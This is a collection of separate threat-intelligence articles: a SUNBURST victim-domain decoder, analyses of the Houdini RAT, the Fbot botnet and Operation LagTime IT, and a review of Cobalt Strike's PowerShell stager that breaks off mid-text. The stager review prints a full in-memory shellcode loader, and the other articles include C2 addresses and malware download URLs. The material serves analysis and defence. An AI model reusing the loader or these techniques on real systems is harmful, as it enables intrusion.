text
stringlengths
8
115k
# Reassembling Victim Domain Fragments from SUNBURST DNS We are releasing a free tool called SunburstDomainDecoder today, which is created in order to help CERT organizations identify victims of the trojanized SolarWinds software update, known as SUNBURST or Solorigate. SunburstDomainDecoder can be fed with DNS queries to avsvmcloud.com in order to reveal the full internal domain names of infected companies and organizations. ## Updates **December 18, 2020 (v1.1)** SunburstDomainDecoder has now been updated to automatically reassemble fragmented domain name segments in order to show the full domain in the output. **December 19, 2020 (v1.2)** Domain names that have been base32 encoded, such as domain names with uppercase letters, can now be extracted with SunburstDomainDecoder. The queried SUNBURST subdomains are now also included in the output. **December 21, 2020 (v1.6)** Improved parsing of base32 encoded domain names. SUNBURST victim domains like "LKDataCenter.com", "Sunkistgrowers.com" and "BrokenArrow.Local" can now be extracted. **December 27, 2020 (v1.7)** Improved reassembly of long domain names, like "CIMBMY.CIMBDomain.com" and "BE.AJINOMOTO-OMNICHEM.AD", that get segmented into multiple parts. Extraction of time stamps and security applications, including "Windows Defender", "Carbon Black", "CrowdStrike", "FireEye", "ESET" and "F-Secure". **January 4, 2021 (v1.8)** Security products (WinDefend, ESET etc.) are now included in the summary output at the end. SUNBURST stage2 victims, which accept C2 domains in CNAME responses, are indicated with a "STAGE2" tag. The previous release marked stage2 queries with a "DNSSEC" tag. Improved extraction of truncated base32 domains, such as "*TED.com". **January 12, 2021 (v1.9)** DNS queries with encoded timestamps are tagged with either "AVProducts" or "Ping", depending on if they include an update of the installed/running security products and services or not. The summary data at the end has been modified to also show partial domain names, such as "paloaltonetworks*". **February 16, 2021 (v2.0)** Slightly faster and even more accurate than previous versions. ## SUNBURST DNS Traffic SUNBURST victims, who have installed one of the trojanized SolarWinds Orion software updates, will query for domain names formatted like this: ``` <SUBDOMAIN>.appsync-api.eu-west-1.avsvmcloud.com <SUBDOMAIN>.appsync-api.us-west-2.avsvmcloud.com <SUBDOMAIN>.appsync-api.us-east-1.avsvmcloud.com <SUBDOMAIN>.appsync-api.us-east-2.avsvmcloud.com ``` The "SUBDOMAIN" string has different values for each victim and the second half of this string actually contains an encoded domain name (encrypted with a simple substitution cipher). ## RedDrip's decode.py The RedDrip Team published a SUNBURST DGA decoding script, which can be used to identify SUNBURST victim organizations like CISCO and Belkin by decoding the domain names encoded in the outgoing DNS queries for subdomains of avsvmcloud.com. This is what it looks like when RedDrip's decode.py script is fed with domain names from John Bambenek's uniq-hostnames.txt file. ``` cat uniq-hostnames.txt | python decode.py 02m6hcopd17p6h450gt3.appsync-api.us-west-2.avsvmcloud.com .gh 039n5tnndkhrfn5cun0y0sz02hij0b12.appsync-api.us-west-2.avsvmcloud.com ad001.mtk.lo 04spiistorug1jq5o6o0.appsync-api.us-west-2.avsvmcloud.com isi 060mpkprgdk087ebcr1jov0te2h.appsync-api.us-east-1.avsvmcloud.com belkin.com 06o0865eliou4t0btvef0b12eu1.appsync-api.us-east-1.avsvmcloud.com gncu.local 07605jn8l36uranbtvef0b12eu1.appsync-api.us-east-1.avsvmcloud.com gncu.local 07q2aghbohp4bncce6vi0odsovertr2s.appsync-api.us-east-1.avsvmcloud.com csnt.princegeor 07ttndaugjrj4pcbtvef0b12eu1.appsync-api.us-east-1.avsvmcloud.com gncu.local 08amtsejd02kobtb6h07ts2fd0b12eu1.appsync-api.eu-west-1.avsvmcloud.com sm-group.local 0b0fbhp20mdsv4scwo11r0oirssrc2vv.appsync-api.us-east-2.avsvmcloud.com ville.terrebonn ``` The beauty of this approach is that passive DNS data can be used in order to reliably identify the victims. This is great news for national CERTs, because they typically have readily access to passive DNS data and can use the decoded domain names in order to identify and reach out to victims in their country. After using the python script provided by ReadDrip Team I noticed two things: 1. The leaked domain names were internal domain names used on the victim organizations' corporate networks. Many of the domains were using the ".local" suffix. 2. Most of the extracted domains were truncated to around 15 bytes, which make it difficult to identify the victim organization. ## Truncated Domains Fragmented Domains I later learned that what seemed to be truncated domains were actually fragmented domains, where long domain names would be split into multiple queries. This revelation turns the output from RedDrip's python tool into an interesting domain name puzzle. As an example, let's take a closer look at this DNS query from John Bambenek's passive DNS data: ``` r1qshoj05ji05ac6eoip02jovt6i2v0c.appsync-api.us-west-2.avsvmcloud.com ``` This query can be broken down into three parts: 1. r1qshoj05ji05ac6 : What is encoded here??? 2. eoip02jovt6i2v0c : Base32 encoded string "city.kingston." 3. .appsync-api.us-west-2.avsvmcloud.com : DNS trailer without encoded data So, which "City of Kingston", or "Kingston City", should we contact to let them know that they have installed a trojanized SolarWinds update? Is it Kingston Jamaica, City of Kingston NY USA, City of Kingston Ontario Canada, Kingston City Tennessee USA or City of Kingston Australia? After analyzing the "SolarWinds.Orion.Core.BusinessLayer.dll" file (MD5: b91ce2fa41029f6955bff20079468448) from the "SolarWinds-Core-v2019.4.5220-Hotfix5.msp" I learned that the initial "r1qshoj05ji05ac6" string is representing a unique "GUID" value for the infected machine. This GUID is generated by calculating an MD5 hash of the MAC address of the first active non-Loopback network interface, the domain name and the "MachineGuid" registry key value in "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography". This MD5 hash is then squeezed into a tiny 8 byte array by XOR'ing overlapping bytes. The "CreateSecureString" function in the trojanized SolarWinds update then "encrypts" this hash using XOR with a random key, which is prepended to the data. The XOR key and the XOR'ed data is then finally base32 encoded into what makes up the first part of the subdomain to query for. Each DNS lookup from an infected machine will query for a unique subdomain because a new XOR key will be generated for each request. Luckily for us, this XOR key is provided in each request, so we can use it in order to "decrypt" the subdomain and get the original 8 bytes derived from the MAC+domain+MachineGuid MD5 hash. The output from my "SunburstDomainDecoder.exe" tool will print the "decrypted" 8 byte GUID in the first column, the decoded victim domain segment or timestamp in the second column and the queried SUNBURST subdomain in the last column. Each DNS query line read from standard input will generate a "GUID DecodedHostname SunburstSubdomain" line on standard output. ``` SunburstDomainDecoder.exe < uniq-hostnames.txt F18613981DEC4D1A 2020-10-02T21:00:00.0000000Z 02m6hcopd17p6h450gt3 BD6DEFBBE9FEA3A9 ad001.mtk.lo 039n5tnndkhrfn5cun0y0sz02hij0b12 2BF8DE15406EA780 2020-08-25T03:00:00.0000000Z 043o9vacvthf0v95t81l 573DEB889FC54130 2020-08-13T21:00:00.0000000Z, WindowsDefender_RUNNING,CrowdStrike_RUNNING 04jrge684mgk4eq8m8adfg7 518092C8FD571806 2020-06-09T22:30:00.0000000Z 04r0rndp6aom5fq5g6p1 F18613981DEC4D1A 2020-07-06T08:30:00.0000000Z 04spiistorug1jq5o6o0 BC1CB013239B4B92 2020-04-25T10:00:00.0000000Z 05q2sp0v4b5ramdf71l7 3ED2E979D53B2523 belkin.com 060mpkprgdk087ebcr1jov0te2h 4225A5C345C1FC8E gncu.local 06o0865eliou4t0btvef0b12eu1 ``` The tool then finishes off by outputting the domains that are complete or at least have the last part of their domain intact. Some of these domains are complete because they were short enough to fit in one single SUNBURST DNS query, while others have been pieced together by SunburstDomainDecoder from domain fragments arriving in separate SUNBURST DNS queries. ``` F59BBAACBA3493C0 dufferincounty.on.ca F5D6AA262381B084 glu.com F9024D5B1E9717C6 gyldendal.local F90BDDB47E495629 central.pima.gov F956B5EF56BCF666 coxnet.cox.com F9A9387F7D252842 city.kingston.on.ca FB0B50553BC00DED gloucesterva.net FBB6164BC2B0DFAD ARYZTA.COM FD04AC52C95A1B0A bmrn.com FDFCAB8E4C0AB3EE ansc.gob.pe FE7FF8C9104A0508 thoughtspot.int FF6760F36DB3D7DC smes.org ``` We can now see that it was "city.kingston.on.ca", (City of Kingston, Ontario, Canada) who had installed a trojanized SolarWinds update. ## Running SunburstDomainDecoder on Linux/MacOS Wanna run SunburstDomainDecoder.exe but not in Windows? No problems, the tool runs perfectly fine in Mono. Another option is to build SunburstDomainDecoder.cs as a .NET core project in Linux. ## .NET Reversing Would you like to verify my findings or learn more about .NET reverse engineering? Cool, then I'd recommend that you download dnSpy in order to reverse engineer the SUNBURST .NET DLL (which can be extracted from the msp installer with 7zip). Or you can have a look at the already extracted OrionImprovementBusinessLayer.cs on GitHub.
# Houdini is Back Delivered Through a JavaScript Dropper Houdini is a very old RAT that was discovered years ago. The first mention I found back is from 2013! Houdini is a simple remote access tool written in JavaScript. The RAT implements the following commands: Nothing really fancy here. What’s more interesting is the way it is delivered to the victim. A classic technique is used: a phishing email with a ZIP attachment. The JavaScript is pretty well obfuscated but, once you check deeper, you quickly realize that most of the code is not used. The main function is kk. The technique used is simple: A variable is defined and set to false (example: __p_0015805216). Then code blocks are executed if the variable is true. JavaScript is a very beautiful/ugly language (select your best feeling) that is very permissive with the code. So, another technique is the creation of complex structures. When I'm teaching FOR610, I like to say to students that they must find their way and go straight to the point to find what the script being analyzed does. Now, you can search for this string and find that it is just returned, again, by a simple function. This looks like a Base64-encoded string but it won't decode "as is". The attacker added some bad characters that must be replaced first. The script drops two other samples on the file system: - `C:\Windows\System32\wscript.exe" //B "C:\Users\admin\AppData\Roaming\HUAqCSmCDP.js` - `C:\Windows\System32\wscript.exe" "C:\Users\admin\AppData\Local\Temp\hworm.vbs` An interesting point: Persistence is implemented via two techniques in parallel, via the registry (HKEY_CURRENT_USER\Software\Microsoft\Windows). Xavier Mertens (@xme) Senior ISC Handler - Freelance Cyber Security Consultant I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS Amsterdam August 2022.
# Fbot is Now Riding the Traffic and Transportation Smart Devices **Genshen Ye** **March 3, 2021** **Botnet** ## Background Fbot, a botnet based on Mirai, has been very active ever since we first blogged about it. We have seen this botnet using multiple 0 days before (some of them we have not disclosed yet) and it has been targeting various IoT devices. Now, it is aiming at a new category: traffic and transportation smart devices. On February 20, 2021, the 360Netlab Threat Detection System captured attackers using a remote command execution vulnerability (CVE-2020-9020) in the Vantage Velocity product from Iteris to spread Fbot botnet samples. According to Wikipedia, Iteris, Inc. provides intelligent mobile infrastructure management services and produces sensors and other devices that record and predict traffic conditions. Based on the AIrLink GX450 Mobile Gateway production information found on the affected devices, we speculate that the affected devices are roadside monitoring devices. ## CVE-2020-9020 Vulnerability Analysis Through the 360 FirmwareTotal system, we verified and analyzed the CVE-2020-9020 vulnerability. Here is the brief: 1. Vantage Velocity product synchronizes with NTP Server, where the user can set the specified NTP server address. 2. The `timeconfig.py` script does not filter the `htmlNtpServer` variable after accepting a user web request, i.e., it is spliced into the shell variable format `ntpserver=" + form["htmlNtpServer"].value.strip()` and written to the `/root/timeparam` file. 3. The command execution vulnerability is triggered when the `timeconfig.py` script calls the shell script `/root/ntpconfig`, which reads the `/root/timeparam` file to initialize the variable `ntpserver`. ## Vulnerability Impact Scope The 360 Quake cyberspace mapping system found the specific distribution of Vantage Velocity devices by mapping assets across the network. ## Fbot Botnet Fbot is a botnet based on Mirai, with two main changes: - Encryption algorithm - Registration packets, heartbeat packets The basic information of this sample is shown below: - **MD5**: deaee7ada44bf1c6af826d2d170c8698 - **ELF**: 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped - **Packer**: None It has no added features in itself; the main functions are: - DDoS attack - Telnet scanning ## DDoS Attack First, Fbot establishes a connection with the hardcoded C2 (198.23.238.203:5684) via the following code snippet. Then it sends a 78-byte long registration message to C2. The information in the registration packet is used to verify the legal identity of the BOT, and the format of the registration packet is parsed as shown below. **Main field parsing, others can be 0:** ``` 02 ---> type, register package 00 42 00 33 00 63 01 c8 02 fc 00 49 ---> hardcoded, authentication 00 07 ---> length of group string 75 6e 6b 6e 6f 77 6e ----> group string, "unknown" ``` After sending the registration packet, the Bot starts to wait for C2 to issue commands. The first byte of the command packet specifies the command type. **0x00, heartbeat command code** Take the following heartbeat as an example. The format of the heartbeat packet is parsed as follows: **Main field parsing, others can be 0:** ``` 00 ---> type, heartbeat package 1b 37 03 f3 25 e3 19 40 1e 68 1a d2 ---> hardcoded ``` **0x01, DDoS attack command code** Take the following attack instruction as an example. The format of the attack packet is parsed as follows: **Main field parsing, others can be 0:** ``` 01 ---> type, attack package 01 ---> attack type 00 3c ---> time (sec) 01 ---> number of target 67 5f dd bc 00 20 ---> target/mask, 103.95.221.188/32 02 ---> number of flag 02 ---> flag type, attack package length 00 04 ---> flag length 31 34 36 30 ---> flag data, 1460 01 ---> flag type, port 00 02 ---> flag length 35 33 ---> flag data, 53 ``` **0x03, exit** ## Telnet Scan & Propagation Fbot uses the technique of SYN port detection in the propagation process to improve the efficiency of propagation. From the above code snippet, it can be seen that its scanning traffic has two characteristics: 1. The number of scanned 23 ports is about twice as many as 26 ports. 2. The sequence number in the TCP header is equal to the target address in the IP header. When a port is detected as open, login is attempted using a hard-coded credential list. Once successful, the IP, port, account, password, etc. are sent back to Reporter (198.23.238.203:774) via the following code snippet. The actual network traffic generated is shown in the following figure. Finally, the Fbot sample is implanted to the device either with network download or ECHO, and the successful implantation information is sent back to Reporter. 1. **Network download**: If the device has wget or tftp, the Fbot sample of the corresponding CPU architecture on the device will be downloaded. 2. **ECHO**: If the device does not have a network download tool, the Fbot downloader of the corresponding CPU architecture is uploaded to the device via ECHO to download the Fbot samples. The information of the Fbot downloader built into the sample is shown as follows. In the above figure, the downloader with file offset 0x1D794 is used as an example. - **MD5**: 9b49507d1876c3a550f7b7a6e4ec696d - **ELF**: 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped - **Packer**: None Its function is to request the Fbot sample from the download server (198.23.238.203:80) and execute it. ## Suggestions We recommend Vantage Velocity users to check and update the firmware system in a timely manner. We recommend that Vantage Velocity users set complex login passwords for management interfaces such as Web and SSH. We recommend that readers monitor and block relevant IPs and URLs mentioned in this blog. ## Contact Us Readers are always welcomed to reach us on Twitter, or email to netlab at 360 dot cn. ## IoC **IP**: 198.23.238.203 United States ASN36352 AS-COLOCROSSING **C2**: 198.23.238.203:5684 **URL**: http://198.23.238.203/arm7 **MD5**: deaee7ada44bf1c6af826d2d170c8698
# Chinese APT “Operation LagTime IT” Targets Government Information Technology Agencies in Eastern Asia ## Overview Proofpoint researchers have identified a targeted APT campaign that utilized malicious RTF documents to deliver custom malware to unsuspecting victims. We dubbed this campaign “Operation LagTime IT” based on entities that were targeted and the distinctive domains registered to C&C IP infrastructure. Beginning in early 2019, these threat actors targeted a number of government agencies in East Asia overseeing government information technology, domestic affairs, foreign affairs, economic development, and political processes. We determined that the infection vector observed in this campaign was spear phishing, with emails originating from both free email accounts and compromised user accounts. Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT. Additionally, this APT group utilizes Poison Ivy payloads that share overlapping command and control (C&C) infrastructure with the newly identified Cotx campaigns. Based on infrastructure overlaps, post-exploitation techniques, and historic TTPs utilized in this operation, Proofpoint analysts attribute this activity to the Chinese APT group tracked internally as TA428. Researchers believe that this activity has an operational and tactical resemblance to the Maudi Surveillance Operation which was previously reported in 2013. ## Delivery Proofpoint researchers initially identified email campaigns with malicious RTF document attachments targeting East Asian government agencies in March 2019. These campaigns originated from adversary-operated free email sender accounts at yahoo.co.jp and yahoo.com. Sender addresses often imitated common names found in the languages of targeted entities. Spear phishing emails included malicious .doc attachments that were actually RTF files saved with .doc file extensions. The lures used in the subjects, attachment names, and attachment content in several cases utilized information technology themes specific to Asia such as governmental or public training documents relating to IT. On one specific occasion, an email utilized the subject “ITU Asia-Pacific Online CoE Training Course on ‘Conformity & Interoperability in 5G’ for the Asia-Pacific Region, 15-26 April 2019” and the attachment name “190315_annex 1 online_course_agenda_coei_c&i.doc”. The conference referenced in the lure was an actual event likely selected due to its relevance to potential victims. This is significant as countries in the APAC region continue to adopt Chinese 5G technology in government as well as heavy equipment industries. We identified several government agencies targeted as part of Operation LagTime IT. These agencies are responsible for overseeing IT, scientific research, domestic affairs, foreign affairs, political processes, and financial development. ## Exploitation As we previously noted, the malicious RTF attachments exploited vulnerabilities in the Microsoft Equation Editor, specifically CVE-2018-0798, before downloading subsequent payloads. The exploit uses an encoded RTF object to drop a PE file to the Windows temporary directory. The dropped PE file has the distinctive file name “8.t”. When executed, it writes a Word Add-In file with the “.wll” extension to the Windows Startup directory, which runs the next time Word is opened. It should be noted that this dropper methodology is not unique to TA428 and has been identified by security researchers in campaigns related to at least four additional Chinese APT groups. RTF files leveraging this technique have historically contained the string "objw871\\objh811\\objscalex8\\objscaley8" which has been noted by researchers at Anomali and FireEye. Researchers have also recently observed this RTF weaponizer tool in commodity campaigns delivering Async RAT. After it is executed, the .wll file renames itself as RasTls.dll. Simultaneously, it decrypts a legitimate Symantec PE binary commonly named IntelGraphicsController.exe or AcroRd32.exe. This legitimate Symantec binary is used to side-load RasTls.dll using DLL search-order hijacking leading to the execution of Cotx RAT malware. Once executed, the RasTls.dll file resolves the addresses of the DLL libraries it is programmed to access and ensures that it is only running in one of five predetermined processes. These processes are winword.exe, excel.exe, powerpnt.exe, eqnedt32.exe, and acrord32.exe. The first four of these processes are associated with Microsoft Word, Excel, and PowerPoint exploits, as well as the Equation Editor exploit used by the initial malicious RTF in this campaign. The last process is utilized as part of the loading process for Cotx RAT and involves the legitimate Symantec binary noted above. The inclusion of the processes excel.exe and powerpnt.exe suggests that this stage one malware may be capable of utilizing .xls and .ppsx files as droppers. Researchers at SectorB06 have noted this stage-one payload and indicated that throughout the above process it is running a “CheckRemoteDebuggerPresent” function to prevent analysis and debugging by researchers. ## Malware: Cotx RAT The RasTls.dll contains the Cotx RAT code. The malware is written in C++ using object-oriented programming. We named it by borrowing the name of the location of its stored configuration. The encrypted configuration is stored in the side-loaded DLL file RasTls.dll in a PE section named “.cotx”. The current encrypted configuration is also stored in the registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Intel\Java\user”. The configuration data is AES-192-encrypted using CBC mode and base64-encoded. In plaintext, the configuration appears as follows: ``` *\x00\x00\x00217.69.8.255|||1.187.1.187|mark3|P@SSaw1||\x00\x00 ``` The first four bytes contain the size of the configuration (42-bytes). The configuration is pipe delimited and contains: 1. C&C host 1 2. C&C host 2 3. C&C host 3 4. Definition of two C&C ports - An example string looks like an IP address: "1.187.1.187" - The string is split on "." - Port 1 is defined by (piece0 << 8) + piece1 = (1 << 8) + 187 = 443 - Port 2 is defined by (piece2 << 8) + piece3 = (1 << 8) + 187 = 443 - Alternatively, if the string is not an IP address, but looks like a host, it will resolve the host into an IP address and calculate the ports using the resolved address 5. "mark" field - sent in the C&C beacon 6. "passwd" field - sent in the C&C beacon 7. Proxy IP and port - Discovered by searching the IPv4 TCP connection table for established connections with remote ports using common proxy ports (3128, 8080, 808, 1080) - Or via WINHTTP_OPTION_PROXY For persistence, Cotx stores files in a directory “Intel\Intel(R) Processor Graphics”. The location of this folder varies among samples with both the %AppData% and %PROGRAMFILES% directories being observed. The command and control structure of Cotx RAT is proxy aware. It utilizes wolfSSL for TLS encrypted communication. The initial beacon contains “|”-delimited system information. The data included in the beacon is Zlib compressed and encrypted with AES-192 in CBC mode utilizing the same keys as the configuration. The following values are included: - "id" value from "software\\intel\\java" subkey - Computer name - "mark" field from configuration - Username - Windows version - Architecture - Possible malware version. "0.9.7" is hardcoded in the analyzed sample - Local IP addresses - First adapter's MAC address - Connection type (https or _proxy) - "password" field from configuration Commands from the C&C are received from the malware beacon. This data is AES-encrypted. We observed the following commands: - 0 - Keep alive, sets a "poll again" flag and sends an empty response to C&C - 1 - Sets "id" value in "software\\intel\\java" subkey, sends an empty response to C&C - 2 - Get directory info or drive info - 5 - Open command shell - 6 - Open command shell as logged in user - 7 - Send command to command shell - 8 - Copy file - 9 - Delete file - 10 - Read file - 11 - Check for filename. If doesn't exist, check for filename with ".ut" extension. If it exists, send file size back to C&C - 12 - Write file - 13 - Screenshot - 14 - Process listing - 15 - Kill process - 16 - Send current configuration to C&C - 17 - Update config in registry and ".cotx" PE section - 18 - Set sleep time - 19 - Close C&C comms - 20 - Uninstall and remove self - 21 - Get list of installed software - 22 - Kill command shell - 23 - Exit malware - 24 - Send a "Ctrl-C" to the command shell and exit - 25 - Execute an executable ## Malware: Poison Ivy TA428 threat actors also delivered Poison Ivy malware payloads. In a limited number of cases, we observed attachments utilizing the 8.t dropper methodology described above. However, the majority of Poison Ivy payloads were dropped as PE files named OSE.exe when the RTF attachment was executed and an Equation Editor vulnerability was successfully exploited. The Poison Ivy samples all communicated with the IP 95.179.131.29. We identified earlier variants of Poison Ivy malware that utilized the above IP via open source research, which used the file names bubbles.exe and sfx.exe. Examination of the Poison Ivy malware configurations indicated that all samples shared the password “3&U<9f*lZ>!MIQ” while campaign and group IDs, as well as mutexes varied across campaigns. We identified significant operational overlap between Cotx RAT campaigns and Poison Ivy campaigns. Specifically, on several occasions users that were unsuccessfully targeted with Cotx RAT malware were later targeted with messages distributing Poison Ivy. Users were also targeted by Poison Ivy malware on successive occasions indicating the adversary’s persistent nature in attempting to compromise targets via spear phishing. In one example, a targeted user received an unsuccessful phishing email attempting to deliver Cotx RAT followed by a Poison Ivy phishing email seven days later. In addition to a shared targeting list, analysts observed adversary reuse of free email sender accounts to deliver both Cotx RAT and Poison Ivy malware to different users. It appears the adversary sender accounts utilized delivery TTPs and payloads interchangeably from March through April 2019. This vacillation of tactics further enforces Proofpoint’s classification of these campaigns under a single operation. ## C&C Infrastructure An examination of the separate C&C infrastructure utilized by Cotx RAT and Poison Ivy payloads revealed further overlaps between these campaigns. A review of passive DNS information indicated that the C&C IPs hosted subdomains that share the root domain vzglagtime.net. We found that the Poison Ivy C&C IP hosted the domains f1news.vzglagtime.net and news.vzglagtime.net. The Cotx RAT C&C IP hosted the hostname mtanews.vzglagtime.net. The latter of these domains was previously reported by security researchers to have been a C&C address observed in a malware implant targeting the East Asian Telecommunications and Transportation sectors in January 2019. The presence of related domain registrations on disparate malware IP infrastructure also contributed to analysts’ decision to classify these campaigns collectively under Operation LagTime IT. | Malware | C&C IP | Domains Hosted by IP | |------------------|------------------|--------------------------------------------| | Poison Ivy | 95.179.131.29 | f1news.vzglagtime.net, news.vzglagtime.net | | Cotx RAT | 217.69.8.255 | mtanews.vzglagtime.net | ## Conclusion Proofpoint analysts assess that Operation LagTime IT is likely a continuation of targeted activity by APT actors aligned with Chinese state interests. This operation, centered around East Asian governmental agencies, may represent efforts to satisfy espionage and intelligence requirements relative to China’s regional neighbors. While not revolutionary in its approach or malware design, TA428 actors demonstrated significant persistence in compromising victims and utilized custom malware. The defined scope of targeting in this operation including government information technology agencies demonstrates a focus on high-value targets. While ultimately the motivation for this APT campaign remains opaque, what is certain is that TA428 persists in targeting users responsible for the orchestration of governmental systems in East Asia. ## Indicators of Compromise (IOCs) | IOC | Type | Description | |---------------------------------------------------------------------------------------------|--------|--------------| | 304115cef6cc7b81f4409178cd0bcea2b22fd68ca18dfd5432c623cbbb507154 | SHA256 | Cotx RAT | | d0ccb9a277b986f7127199f122023c79a7e0253378a4a78806fbf55a87633532 | SHA256 | Cotx RAT | | 81898df69e28a084ea37b77b568ccde34afdf96122ab784f8a361f055281ed0f | SHA256 | Cotx RAT | | 93ac0ff3f01f8b8dfad069944d917e4b0798d42bc9ff97028e5a4ea8bda54dbc | SHA256 | Cotx RAT | | 3dbff4e82dd8ddf71f9228f68df702b8f4add47237f2aee76bd5537489ed2fa9 | SHA256 | Cotx RAT | | cbf607725d128d93fed3b58cde78e1feb7db028a1ed1aa5c924e44faa1015913 | SHA256 | Poison Ivy | | 9a477b455a20a26875e5ff804151f9f6524131c32edf04366cfbaf9d41c83f2a | SHA256 | Poison Ivy | | eb0191d1b8e311d2716795e9fa7c0300c5199ebf3d8debff77993f23397d2fb5 | SHA256 | Poison Ivy | | 1bc93ef96134be9a5a7b5f5b747be796a9ff95bdc835d72541673565d1c165b8 | SHA256 | Poison Ivy | | 4c22eb33aa1d10511eaf8d13098e2687e44eaebc5af8112473e28acedac34bea | SHA256 | Poison Ivy | | 93f56ec68e072ccba8102c71d005604763d064021795c7c8bb1cade05ddb6ff6 | SHA256 | Poison Ivy | | e9fa0a6223b0e4e60654dc629cd46174b064d5a0968732e6f05bc212a2cdf3f4 | SHA256 | Poison Ivy | | b7cfea87d7de935e1f20e3c09ba4bd1154580682e75330876f21f241b33946f2 | SHA256 | 8.t Dropper | | ae3e335cc39c07bda70e26e89003e0d1b8eea2deda2b62a006517c959fc0a27a | SHA256 | 8.t Dropper | | 1d492e549d2cbd296bc8e1368c8625df0c82c467c1b4addea7191e4a80bf074e | SHA256 | 8.t Dropper | | b541e0e29c34800a067b060d9ee18d8d35c75f056f4246b1ce9561a5441d5a0f | SHA256 | 8.t Dropper | | 95.179.131.29 | C2 IP | Poison Ivy | | 217.69.8.255 | C2 IP | Cotx RAT | | f1news.vzglagtime.net | Domain | Domain | | news.vzglagtime.net | Domain | Domain | | mtanews.vzglagtime.net | Domain | Domain | ## ET and ETPRO Suricata/Snort Signatures 2836210 ETPRO TROJAN SSL/TLS Certificate Observed (SectorB06 Dropper)
# Cobalt Strike PowerShell Execution ## Introduction As I was looking around for ways to execute shellcode in PowerShell, I stumbled on a few ways to achieve it. Invoke-Shellcode being the most popular, as well as FuzzySec's Low-Level Windows API Access From PowerShell tutorial. These are both solid ways of doing it, but I did specifically want to stay away from using `Add-Type` and calling C# functionality. So, instead, I ended up just going through the Cobalt Strike implementation as I didn't really know how Cobalt did it. With that said, this blog is a run through of how Cobalt Strike manages to execute shellcode from PowerShell - a code review, I guess(?). ## The sample code To get a PowerShell payload; just go to Attacks, Payload Generator and select PowerShell and tick x64. Opening up the script: ```powershell Set-StrictMode -Version 2 $DoIt = @' function func_get_proc_address { Param ($var_module, $var_procedure) $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) } function func_get_delegate_type { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, [Parameter(Position = 1)] [Type] $var_return_type = [Void] ) $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') return $var_type_builder.CreateType() } [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ') for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35 } $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void))) $var_runme.Invoke([IntPtr]::Zero) '@ If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job } else { IEX $DoIt } ``` There is a fair bit going on here and I want to get an understanding of how it is working. To begin with, I'll focus on the data between the here-string. ### func_get_proc_address The first function is `func_get_proc_address`, it looks like this: ```powershell function func_get_proc_address { Param ($var_module, $var_procedure) $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) } ``` This function takes in two parameters: 1. `$var_module` 2. `$var_procedure` Looking at how this function is used later on in the code, and by the name of the function, it's probably going to get an address to the given method: ```powershell func_get_proc_address kernel32.dll VirtualAlloc ``` Pulling the function out, and calling it via the above, the following data is returned, confirming the address: ```powershell PS C:\Users\testinguser\Desktop> powershell -ep bypass -f .\debug.ps1 140707592851104 ``` Going through the code line-by-line, the first line does a lot and can be broken down into something more human-readable. It starts by getting all the assemblies in the current AppDomain: ```powershell [AppDomain]::CurrentDomain.GetAssemblies() ``` This line is piped into Where-Object to pull out `System.dll`. Running this in PowerShell looks like this: ```powershell PS C:\Users\testinguser\Desktop> [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } ``` The DLL has been obtained from the Global Assembly Cache. On that object, `GetType` is used to get access to `UnsafeNativeMethods`. This blog from Matt Graeber is a great explanation of this method, he explains the Unsafe Methods as: > Microsoft.Win32.UnsafeNativeMethods is an internal class that cannot be referenced through any direct means. If you try to reference the class, you 